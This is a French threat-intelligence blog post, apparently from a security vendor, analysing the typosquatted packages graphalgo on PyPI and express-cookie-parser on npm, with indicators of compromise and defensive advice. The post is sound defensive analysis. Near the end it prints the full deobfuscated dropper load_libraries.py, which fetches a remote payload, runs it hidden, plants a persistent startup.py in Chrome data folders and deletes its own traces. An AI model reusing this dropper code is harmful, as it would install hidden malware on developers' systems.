Attaques de la chaîne d'approvisionnement logicielle 2025 - packages malveillants - packages Python malveillants - packages NPM malveillants

Analyse approfondie des attaques de la chaîne d'approvisionnement logicielle en 2025 : comparaison des campagnes PyPI et npm

Xygeni a récemment observé une tendance inquiétante dans le paysage des attaques de la chaîne d'approvisionnement de logiciels en 2025, émergeant à travers deux gestionnaires de paquets populaires : PyPI et NPMDans le cadre de nos efforts continus de renseignement sur les menaces,Alerte précoce contre les logiciels malveillants (MEW) de Xygeni L'outil a identifié un cas distinct, mais méthodologiquement similaire, d'un package malveillant précédemment téléchargé dans un autre registre. Ce cas illustre l'évolution et la réutilisation des techniques d'attaque par les acteurs malveillants au sein des écosystèmes, notamment via paquets Python malveillants et paquets npm malveillants, ce qui augmente le risque que des packages malveillants s'infiltrent dans les chaînes d'approvisionnement open source.

MEW de Xygeni : repérer les similitudes

L'outil MEW de Xygeni est conçu pour détecter et signaler les packages malveillants, notamment ceux liés aux attaques de la chaîne d'approvisionnement logicielle de 2025, dès leur publication dans les registres open source. Il analyse les nouveaux packages pour détecter tout comportement suspect.

Dans ce cas, il a identifié deux paquets Python malveillants (graphalgo sur PyPI) et paquets npm malveillants (express-cookie-parser sur npm).

Paquets Python et npm malveillants dans les attaques de la chaîne d'approvisionnement logicielle (2025)

Explorons les caractéristiques communes qui ont déclenché nos alertes :

Typosquattage

Ils ont tous deux essayé d’imiter des packages populaires existants.

  • graphalgo (PyPI)« Package Python pour créer et manipuler des graphiques et des réseaux." Téléchargé par un utilisateur nommé « larrytech » le 13 juin 2025, ce package s'est présenté comme une alternative PyPi au projet graphalgo original non malveillant, qui a ensuite été renommé graphdict.
  • analyseur de cookies express (npm): Ce paquet imite le paquet bien connu cookie-parser, en reflétant même son LISEZ-MOI.md. Une telle usurpation d’identité est une tactique classique pour exploiter la confiance existante.

L'obscurcissement comme première ligne de défense

Les deux packages ont masqué leur code malveillant dans les fichiers d'origine. graphalgo, le code obscurci a été trouvé dans /utils/load_libraries.py. Dans le cas d' analyseur de cookies express, cookie-loader.min.js contenait la charge utile obscurcie.

Cette couche initiale d'obfuscation est généralement utilisée pour entraver l'inspection et l'analyse statique. L'obfuscation était relativement simple : compression ZLib répétée et encodage Base64. Ce type d'obfuscation indique clairement que le logiciel tente de dissimuler son comportement. Associé à d'autres éléments, cela a permis à Xygeni MEW de classer les paquets comme potentiellement malveillants. Lors de la phase de confirmation, nos examinateurs ont rapidement préparé un script de désobfuscation qui a révélé l'étape manifestement malveillante de l'injecteur.

Livraison de charge utile en plusieurs étapes et point d'origine partagé

Les deux packages ont fonctionné comme « initial »compte-gouttes, préparant le terrain pour la véritable charge utile. Ils partageaient un « externe » communseed« URL du fichier :
https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example

Ce fichier d'amorçage externe identique est un indicateur fort de la présence d'un acteur malveillant commun. Il est intéressant de noter que le contenu de ce fichier d'amorçage semble être constitué de simples variables d'environnement (par exemple, JWT_SECRET, PORT), ce qui peut induire en erreur l'inspection quant à sa fonction réelle.

Résolution C2 dynamique avec un DGA

Une tactique sophistiquée observée dans ces packages malveillants consiste à utiliser un algorithme de génération de domaine (DGA) pour résoudre dynamiquement le serveur de commande et de contrôle (C2). Cette technique, fréquemment observée dans les attaques avancées de la chaîne d'approvisionnement logicielle en 2025, repose sur un hachage SHA256 dérivé du contenu du fichier seed, combiné à d'autres valeurs codées en dur. Ce faisant, l'infrastructure C2 change fréquemment, rendant la liste noire traditionnelle beaucoup moins efficace. Dans ce cas, la variante npm utilisait une valeur fixe de 496AAC7E dans le cadre de sa logique DGA.

Établir la persistance

Les deux attaquants cherchaient à s'implanter durablement sur les systèmes affectés. Leur stratégie consistait à déposer un fichier, startup.py (pour PyPi) ou startup.js (pour npm), dans les répertoires de données utilisateur Google Chrome communs sur différents systèmes d'exploitation (Windows, Linux, macOS).

Nettoyage post-exécution

Pour minimiser les traces, les deux scripts malveillants ont procédé à des opérations de nettoyage, notamment la suppression de leurs fichiers d'injection initiaux (load_libraries.py, cookie-loader.min.js) et en modifiant les fichiers de package légitimes (__init__.py, index.js) pour supprimer les références aux composants désormais supprimés.

Indicateurs de compromission dans les packages Python et npm malveillants

  • Paquet PyPI: graphalgo (publié par larrytech, 13 juin 2025)
  • Paquet npm: express-cookie-parser (en particulier la version 1.4.12)
  • Accès à l'URL de la graine partagée

https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example

  • Noms de fichiers persistants: startup.py (Python) startup.js (JavaScript)
  • Chemins persistants courants (dépendants du système d'exploitation):Dans les répertoires de données utilisateur de Google Chrome (par exemple, AppData\Local\Google\Chrome\UserData\Scripts\ sous Windows, ~/.config/google-chrome/Scripts/ sous Linux, etc.).

Comment se défendre contre les paquets malveillants lors des attaques de la chaîne d'approvisionnement logicielle - 2025

Cet incident constitue une étude de cas précieuse dans l'évolution du paysage des menaces d'attaques visant la chaîne d'approvisionnement logicielle en 2025. Il illustre comment des packages Python et NPM malveillants peuvent s'infiltrer dans des écosystèmes de confiance, échappant souvent à la détection jusqu'à ce qu'il soit trop tard. C'est pourquoi la détection précoce, des outils intelligents et une hygiène système proactive sont désormais des éléments essentiels de tout workflow DevOps sécurisé. Les développeurs sont encouragés à prendre en compte les points suivants :

Examen des dépendances

Si vos projets ont inclus graphalgo or analyseur de cookies express, il serait prudent de procéder à leur élimination.

  • Pour PyPI : pip uninstall graphalgo
  • Pour npm : npm uninstall express-cookie-parser

Hygiène du système

Envisagez une analyse complète du système. Il est également conseillé de vérifier manuellement les chemins d'accès aux répertoires de données utilisateur Chrome courants pour détecter tout imprévu. startup.py or startup.js fichiers.

Mesures de sécurité proactives

  • Évaluer les nouvelles dépendances:Établissez une routine pour évaluer en profondeur les nouveaux packages avant l’intégration, en vous concentrant sur ceux provenant d’éditeurs inconnus.
  • Intégrer les outils de sécurité:Des outils comme MEW de Xygeni, ainsi que d'autres outils d'analyse de composition de logiciels (SCA) Les solutions peuvent fournir une couche de défense critique en identifiant les comportements suspects et les vulnérabilités.
  • Le moindre privilège:L’exploitation d’environnements de développement avec le principe du moindre privilège peut aider à limiter l’impact potentiel d’une compromission.
  • Sensibilisation au réseau:La surveillance du trafic réseau sortant pour les connexions inhabituelles peut parfois révéler des communications C2 générées par DGA.

Composants clés de load_libraries.py (de graphalgo)

import os
import sys
import subprocess
import base64
import hashlib
import time
from urllib.request import urlopen, Request

url_b64 = "aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2pvaG5zOTIvYmxvZ19hcHAvcmVmcy9oZWFkcy9tYWluL3NlcnZlci8uZW52LmV4YW1wbGU="
remove_url = base64.b64decode(url_b64).decode()

python_path = sys.executable

def download_remote_content(url, output_path):
    try:
        req = Request(url, headers={"User-Agent": "Mozilla/5.0"})
        with urlopen(req) as response, open(output_path, "wb") as out_file:
            if response.status != 200:
                print(f"Failed to download the file. Status code: {response.status}")
                return False
            data = response.read()
            out_file.write(data)
        return True
    except Exception as e:
        print(f"Download failed: {e}")
        return False

def run_process(path_to_script, params=[]):
    if sys.platform.startswith("win"):
        creationflags = subprocess.CREATE_NO_WINDOW
        subprocess.Popen(
            [sys.executable, path_to_script, *params],
            creationflags=creationflags,
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL
        )
    else:
        subprocess.Popen(
            [sys.executable, path_to_script, *params],
            start_new_session=True,
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL,
            close_fds=True
        )


def get_output_file_path():
    py_file_path = None

    home_dir = os.path.expanduser("~")
    platform = os.sys.platform

    if platform.startswith("win"):
        py_file_path = os.path.join(home_dir, "AppData", "Local", "Google", "Chrome", "User Data")
    elif platform.startswith("linux"):
        py_file_path = os.path.join(home_dir, ".config", "google-chrome")
    elif platform == "darwin":
        py_file_path = os.path.join(home_dir, "Library", "Application Support", "Google", "Chrome")

    if not os.path.exists(py_file_path):
        if platform.startswith("win"):
            py_file_path = os.path.join(home_dir, "AppData", "Local")
        elif platform.startswith("linux"):
            py_file_path = os.path.join(home_dir, ".config")
        elif platform == "darwin":
            py_file_path = os.path.join(home_dir, "Library", "Application Support")

    # Ensure base directory exists
    os.makedirs(py_file_path, exist_ok=True)

    script_path = os.path.join(py_file_path, "Scripts")
    os.makedirs(script_path, exist_ok=True)

    py_file_path = os.path.join(script_path, "startup.py")
    return py_file_path

def remove_self():
    # Remove this script file
    os.remove(__file__)

    # Remove \'graph_settings.py\' in the same directory
    graph_settings_path = os.path.join(os.path.dirname(__file__), "graph_settings.py")
    if os.path.exists(graph_settings_path):
        os.remove(graph_settings_path)

    # Modify \'../classes/digraph.py\' if it exists
    graph_file_path = os.path.join(os.path.dirname(__file__), "..", "classes", "digraph.py")
    graph_file_path = os.path.abspath(graph_file_path)  # Normalize path

    init_file_path = os.path.join(os.path.dirname(__file__), "__init__.py")
    init_file_path = os.path.abspath(init_file_path) # Normalize path

    # replace content of the __init__.py file
    if os.path.exists(init_file_path):
        with open(init_file_path, \'r\', encoding=\'utf-8\') as file:
            file_content = file.read()

        updated_content = file_content \\
            .replace("from networkx.utils.graph_settings import *", "") \\
            .replace("from networkx.utils.load_libraries import *", "")

        with open(init_file_path, \'w\', encoding=\'utf-8\') as file:
            file.write(updated_content)        

    # replace content of the __init__.py file
    if os.path.exists(graph_file_path):
        with open(graph_file_path, \'r\', encoding=\'utf-8\') as file:
            file_content = file.read()

        updated_content = file_content \\
            .replace("nx.utils.graph_settings.init_graph(self.graph, attr)", "") \\

        with open(graph_file_path, \'w\', encoding=\'utf-8\') as file:
            file.write(updated_content)

def simple_shift_encrypt(text, password):
    key = int(hashlib.sha256(password).hexdigest(), 16)
    encrypted_bytes = bytes([(ord(char) + (key % 256)) % 256 for char in text])

    return base64.encode(encrypted_bytes).decode()

def simple_shift_decrypt(encoded_text, password):
    key = int(hashlib.sha256(password).hexdigest(), 16)
    encrypted_bytes = base64.b64decode(encoded_text)
    decrypted = \'\'.join([chr((b - (key % 256)) % 256) for b in encrypted_bytes])

    return decrypted

def load_libraries(key):
    max_retry_count = 3
    output_file_path = get_output_file_path()
    encoded = "6PT08PO6r6/j7+Tl8O/v7K7j7O/15K/w9eLs6eOv8/Th8vT18K7w+b/25fK9sa6ypvT58OW97e/k9ezl"

    for _ in range(max_retry_count):
        if not download_remote_content(remove_url, output_file_path):
            time.sleep(2)
            continue

        download_url = ""
        with open(output_file_path, "rb") as f:
            file_content = f.read()
            sha256_hash = hashlib.sha256()
            sha256_hash.update(file_content + key.encode())
            password = sha256_hash.digest()

            download_url = simple_shift_decrypt(encoded, password)
       
        if not download_url or not download_remote_content(download_url, output_file_path):
            time.sleep(2)
            continue

        os.chmod(output_file_path, 0o755)
        run_process(output_file_path)

        time.sleep(1)
        remove_self()
        break

if __name__ == "__main__":
    if len(sys.argv) >= 2:
        load_libraries(sys.argv[1])

  • download_remote_content(): Gère la récupération des fichiers à partir des URL spécifiées.
  • run_process(): Exécute des scripts Python externes de manière détachée, en supprimant la sortie pour rester discret.
  • get_output_file_path(): Détermine l'emplacement système idéal pour le fichier startup.py persistant.
  • remove_self():Orchestre le nettoyage post-exécution des fichiers malveillants initiaux et des modifications de package.
  • simple_shift_encrypt() / simple_shift_decrypt():Fonctions cryptographiques personnalisées pour masquer les canaux de communication, cruciales pour la mise en œuvre de DGA.
  • load_libraries():La fonction centrale qui coordonne l'ensemble du processus en plusieurs étapes, du téléchargement initial à l'exécution et au nettoyage de la charge utile finale.

Conséquences

Comme pour d'autres paquets potentiellement malveillants identifiés par MEW, le pare-feu de dépendances a immédiatement protégé les utilisateurs qui incluraient ces paquets malveillants dans leurs dépendances. Après confirmation, nous avons suivi les procédures de notification des deux registres, qui, après examen, ont supprimé les deux paquets.

sca-tools-logiciel-outils-d'analyse-de-composition
Priorisez, corrigez et sécurisez vos risques logiciels
Essai gratuit 7 jours
Pas de carte bleue requise

Sécurisez le développement et la livraison de vos logiciels

avec la suite de produits Xygeni